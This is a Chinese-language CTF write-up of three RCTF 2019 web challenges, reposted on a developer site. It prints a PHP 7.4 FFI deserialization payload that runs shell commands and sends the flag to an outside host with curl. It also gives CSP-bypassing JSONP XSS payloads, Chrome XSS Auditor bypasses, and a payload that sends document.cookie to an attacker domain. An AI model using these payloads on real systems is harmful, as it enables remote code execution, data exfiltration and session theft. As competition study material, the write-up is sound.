RCTF 2019 Web Writeup

栏目: PHP · 发布时间: 5年前

内容简介:文章首发于先知:https://xz.aliyun.com/t/5218题目直接给了一句话木马,于是先 phpinfo 收集一波信息,发现是 PHP 7.4 。disable_functions:

文章首发于先知:https://xz.aliyun.com/t/5218

nextphp

题目直接给了一句话木马,于是先 phpinfo 收集一波信息,发现是 PHP 7.4 。

disable_functions:

set_time_limit,ini_set,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,putenv,error_log,dl

open_basedir:

/var/www/html

看起来十分严格,于是先读一下 Web 目录下有些啥,发现 preload.php:

<?php
final class A implements Serializable {
    protected $data = [
        'ret' => null,
        'func' => 'print_r',
        'arg' => '1'
    ];

    private function run () {
        $this->data['ret'] = $this->data['func']($this->data['arg']);
    }

    public function __serialize(): array {
        return $this->data;
    }

    public function __unserialize(array $data) {
        array_merge($this->data, $data);
        $this->run();
    }

    public function serialize (): string {
        return serialize($this->data);
    }

    public function unserialize($payload) {
        $this->data = unserialize($payload);
        $this->run();
    }

    public function __get ($key) {
        return $this->data[$key];
    }

    public function __set ($key, $value) {
        throw new \Exception('No implemented');
    }

    public function __construct () {
        throw new \Exception('No implemented');
    }
}

里面定义了一个可以反序列化执行任意函数的类,然而我们已经有了一句话木马,乍看之下好像没有任何作用。

好好想了想,起这个名字一般是预加载的文件,于是尝试在 phpinfo 里搜一下,发现:

opcache.preload = /var/www/html/preload.php

是没见过的孩子呢, google 一下这个配置:

 https://wiki.php.net/rfc/preload 

是 PHP 7.4的新特性,可以利用其在服务器启动时加载一些类和函数,然后就可以在之后如同 PHP 的内部实体一样直接调用,仔细读文档,发现一行:

 In conjunction with ext/FFI (dangerous extension), we may allow FFI functionality only in preloaded PHP files, but not in regular ones 

dangerous? 同样在 phpinfo 里先搜一下:

FFI support = enabled

看来是启动了,于是同样去搜一下这是个啥:

 https://www.php.net/manual/en/ffi.examples-basic.php 

看起来可以利用 ffi 直接调用 C 语言编写的函数,且示例里还有:

 https://www.php.net/manual/en/ffi.examples-callback.php 

可以看到在 FFI::cdef 不传第二个参数时,可以直接调用 PHP 源码中的函数,于是我们可以考虑直接调用 PHP 里执行命令的函数:

<?php
final class A implements Serializable {
    protected $data = [
        'ret' => null,
        'func' => 'FFI::cdef',
        'arg' => "int php_exec(int type, char *cmd);"
    ];

    public function serialize (): string {
        return serialize($this->data);
    }

    public function unserialize($payload) {
        $this->data = unserialize($payload);
        $this->run();
    }

    public function __construct () {
    }
}

$a = new A;
echo serialize($a);

最后反序列化执行:

http://nextphp.2019.rctf.rois.io/?a=$a=unserialize('C%3a1%3a"A"%3a97%3a{a%3a3%3a{s%3a3%3a"ret"%3bN%3bs%3a4%3a"func"%3bs%3a9%3a"FFI%3a%3acdef"%3bs%3a3%3a"arg"%3bs%3a34%3a"int+php_exec(int+type,+char+*cmd)%3b"%3b}}');var_dump($a->ret->php_exec(2,'curl%20f1sh.site:2333/`cat%20/flag`'));

Flag:

RCTF{Do_y0u_l1ke_php74?}

rblog

进入题目后,先看着往年的 Writeup 膜一波蓝猫师傅。

查看网页源码,发现有一个 rblog.js ,点开看到里面有一个 api: /api/v2/posts

于是访问 https://rblog.2019.rctf.rois.io/api/v2/posts ,发现是返回了三篇 Writeup 且是固定不变的,没看出有什么可以利用的点。

随手找下别的 api: https://rblog.2019.rctf.rois.io/api/v2/post ,返回:

{
    "status": false,
    "message": "'\/post' not found.",
    "data": []
}

好像存在反射型 XSS ?尝试:

https://rblog.2019.rctf.rois.io/api/v2/<img>

没有解析,发现是因为 Content-Type: application/json

在这里卡了一会儿,后面在想这个会不会是什么框架,于是 google 了一发路由:

RCTF 2019 Web Writeup

才明白原来这个 v 是版本的意思,于是尝试了一波 https://rblog.2019.rctf.rois.io/api/v1/posts

同样测一波反射:

https://rblog.2019.rctf.rois.io/api/v1/<img>

这次解析了,因为此时 Content-Type: text/html; charset=UTF-8

XSS 有了,但是还有 CSP:

Content-Security-Policy: default-src 'self'; object-src 'none'

题目给了 hint:

API supports JSONP.

测试一下 https://rblog.2019.rctf.rois.io/api/v1/posts?callback=test ,返回:

test({...})

于是很容易想到:

<script src=https://rblog.2019.rctf.rois.io/api/v1/posts?callback=alert(1);console.log></script>

但是发现会被转义,变成:

<script src=https:\/rblog.2019.rctf.rois.io\/api\/v1\/posts?callback=alert(1);console.log><\/script>

无法闭合 script 标签,所以这条路走不通。

测试了一下标点符号,发现只有正反斜杠、单双引号会被转义,那么很容易想到我们可以利用 html 编码来绕过这些转义,payload:

<iframe srcdoc=<script src=https://rblog.2019.rctf.rois.io/api/v1/posts?callback=alert(1);console.log></script>>

RCTF 2019 Web Writeup

在 Firefox 下已经可以执行任意 js 了,但是题目说明了 bot 使用的是 Chrome 74,当前的最新版本。在 Chrome 下这个 payload 会被 XSS Auditor 拦截,并且因为是最新版本的 Chrome ,暂不考虑是否存在什么 bypass auditor 的 0day 。

我们从 Auditor 的原理来考虑: Auditor 会检测 URL 中的含有的代码和页面中含有的代码是否一致,如果一致则会拦截。反之,从以往看到的很多 bypass 案例中,都可以知道如果后端对 URL 中的一些字符做了处理再返回,导致 URL 和页面中的内容不一致,就不会被拦截。

于是 Fuzz 后端会对哪些字符进行处理,测试到中文句号的时候发现:

RCTF 2019 Web Writeup

后端会把中文句号 unicode 编码,于是我们就可以利用起这个操作,来混淆我们的 payload ,最终成功 bypass Chrome XSS Auditor :

https://rblog.2019.rctf.rois.io/api/v1/%3Ciframe%20srcdoc=(很多个中文句号)%26%2360%3B%26%23115%3B%26%2399%3B%26%23114%3B%26%23105%3B%26%23112%3B%26%23116%3B%26%2332%3B%26%23115%3B%26%23114%3B%26%2399%3B%26%2361%3B%26%2334%3B%26%23104%3B%26%23116%3B%26%23116%3B%26%23112%3B%26%23115%3B%26%2358%3B%26%2347%3B%26%2347%3B%26%23114%3B%26%2398%3B%26%23108%3B%26%23111%3B%26%23103%3B%26%2346%3B%26%2350%3B%26%2348%3B%26%2349%3B%26%2357%3B%26%2346%3B%26%23114%3B%26%2399%3B%26%23116%3B%26%23102%3B%26%2346%3B%26%23114%3B%26%23111%3B%26%23105%3B%26%23115%3B%26%2346%3B%26%23105%3B%26%23111%3B%26%2347%3B%26%2397%3B%26%23112%3B%26%23105%3B%26%2347%3B%26%23118%3B%26%2349%3B%26%2347%3B%26%23112%3B%26%23111%3B%26%23115%3B%26%23116%3B%26%23115%3B%26%2363%3B%26%2399%3B%26%2397%3B%26%23108%3B%26%23108%3B%26%2398%3B%26%2397%3B%26%2399%3B%26%23107%3B%26%2361%3B%26%23112%3B%26%2397%3B%26%23114%3B%26%23101%3B%26%23110%3B%26%23116%3B%26%2346%3B%26%23108%3B%26%23111%3B%26%2399%3B%26%2397%3B%26%23116%3B%26%23105%3B%26%23111%3B%26%23110%3B%26%2346%3B%26%23104%3B%26%23114%3B%26%23101%3B%26%23102%3B%26%2361%3B%26%2339%3B%26%23104%3B%26%23116%3B%26%23116%3B%26%23112%3B%26%2358%3B%26%2347%3B%26%2347%3B%26%23120%3B%26%23115%3B%26%23115%3B%26%2346%3B%26%23102%3B%26%2349%3B%26%23115%3B%26%23104%3B%26%2346%3B%26%23115%3B%26%23105%3B%26%23116%3B%26%23101%3B%26%2347%3B%26%2363%3B%26%2339%3B%26%2337%3B%26%2350%3B%26%2398%3B%26%23100%3B%26%23111%3B%26%2399%3B%26%23117%3B%26%23109%3B%26%23101%3B%26%23110%3B%26%23116%3B%26%2346%3B%26%2399%3B%26%23111%3B%26%23111%3B%26%23107%3B%26%23105%3B%26%23101%3B%26%2359%3B%26%2399%3B%26%23111%3B%26%23110%3B%26%23115%3B%26%23111%3B%26%23108%3B%26%23101%3B%26%2346%3B%26%23108%3B%26%23111%3B%26%23103%3B%26%2334%3B%26%2362%3B%26%2360%3B%26%2347%3B%26%23115%3B%26%2399%3B%26%23114%3B%26%23105%3B%26%23112%3B%26%23116%3B%26%2362%3B%3E

Report 给 bot ,成功在打回的 cookie 中获得 flag:

RCTF{uwu_easy_bypass_with_escaped_unicode}

ez4cr

这题是上一题的后续,从上一题打回来的 cookie 中可以得到提示:

hint_for_rBlog_2019.2=the flag for rblog2019.2 is in the cookie of the report domain. You may need a chrome xss auditor bypass ._.

也就是这题需要在 https://report-rblog.2019.rctf.rois.io 域下找到一个 XSS 并且需要 Bypass Chrome Xss Auditor 。

同样在页面源码中的 js 文件里发现一个 api: https://report-rblog.2019.rctf.rois.io/report.php

按照上一题的思路,测试 JSONP: https://report-rblog.2019.rctf.rois.io/report.php?callback=test

https://report-rblog.2019.rctf.rois.io/report.php?callback=test

尝试反射 XSS: https://report-rblog.2019.rctf.rois.io/report.php?callback=%3Cscript%3E

没有任何过滤,并且 Content-Type: text/html; charset=UTF-8

那么很容易就可以得到一个 Bypass CSP 的 XSS:

https://report-rblog.2019.rctf.rois.io/report.php?callback=%3Cscript%20src=https://report-rblog.2019.rctf.rois.io/report.php?callback=alert(1);console.log%3E%3C/script%3E

但是因为这一次后端没有对任何字符进行处理,所以无法再像上一题一样利用后端的处理来 Bypass Auditor ,感觉是一道硬核直接 Bypass Auditor 的 0day 题目。。。

经过漫长的 Fuzz ,队友 @wisdomtree 发现这样可以 Bypass Auditor:

https://report-rblog.2019.rctf.rois.io/report.php?callback=%3Cscript%20src=http://report-rblog.2019.rctf.rois.io/report.php?callback=alert(1);console.log%3E%3C/script%3E

RCTF 2019 Web Writeup

仔细一看发现:

RCTF 2019 Web Writeup

URL payload 中 script src 的协议 http 经过后端返回到页面中时直接变成了 https ,还贴心的给 src 加上了双引号,所以打破了一致性,绕过了 Auditor 。

于是 payload:

https://report-rblog.2019.rctf.rois.io/report.php?callback=3Cscript%20src=http://report-rblog.2019.rctf.rois.io/report.php?callback=location.href=%27http://xss.f1sh.site/?%27%252bdocument.cookie;console.log%3E%3C/script%3E

Report 给 bot ,成功在打回的 cookie 中获得 flag:

RCTF{charset_in_content-type_ignored._.??did_i_find_a_chrome_xss_filter_bypass_0day}

从 flag 感觉到我们的解法应该是非预期,于是问了一下蓝猫师傅,才知道这个协议的 upgrade 其实并不是后端处理的,而是因为题目使用了 Cloudflare CDN ,被 CDN 自动处理的,可以说是神助攻了。。。


以上所述就是小编给大家介绍的《RCTF 2019 Web Writeup》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Foundations of PEAR

Foundations of PEAR

Good, Nathan A./ Kent, Allan / Springer-Verlag New York Inc / 2006-11 / $ 50.84

PEAR, the PHP Extension and Application Repository, is a bountiful resource for any PHP developer. Within its confines lie the tools that you need to do your job more quickly and efficiently. You need......一起来看看 《Foundations of PEAR》 这本书的介绍吧!

HTML 压缩/解压工具
HTML 压缩/解压工具

在线压缩/解压 HTML 代码

RGB转16进制工具
RGB转16进制工具

RGB HEX 互转工具

HEX HSV 转换工具
HEX HSV 转换工具

HEX HSV 互换工具